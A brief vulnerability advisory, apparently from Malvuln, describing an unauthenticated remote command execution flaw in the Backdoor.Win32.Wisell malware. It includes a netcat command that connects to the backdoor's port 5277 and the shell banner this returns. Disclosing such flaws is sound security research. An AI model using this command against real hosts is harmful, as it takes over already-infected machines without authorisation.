Backdoor.Win32.Wisell malware suffers from a code execution vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/eba4ce50a036a196484715f60c8a449b.txt
Contact: [email protected]
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5277, third-party attackers who can reach the system can execute OS commands further compromising the already infected system. Sending the exclaimation point character "!" will not only quit the shell, but also effectively terminate the backdoor.
Vuln ID: MVID-2021-0234
nc64.exe x.x.x.x 5277
WinShell v1.0 - '!' to quit, 'enter' to shell...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
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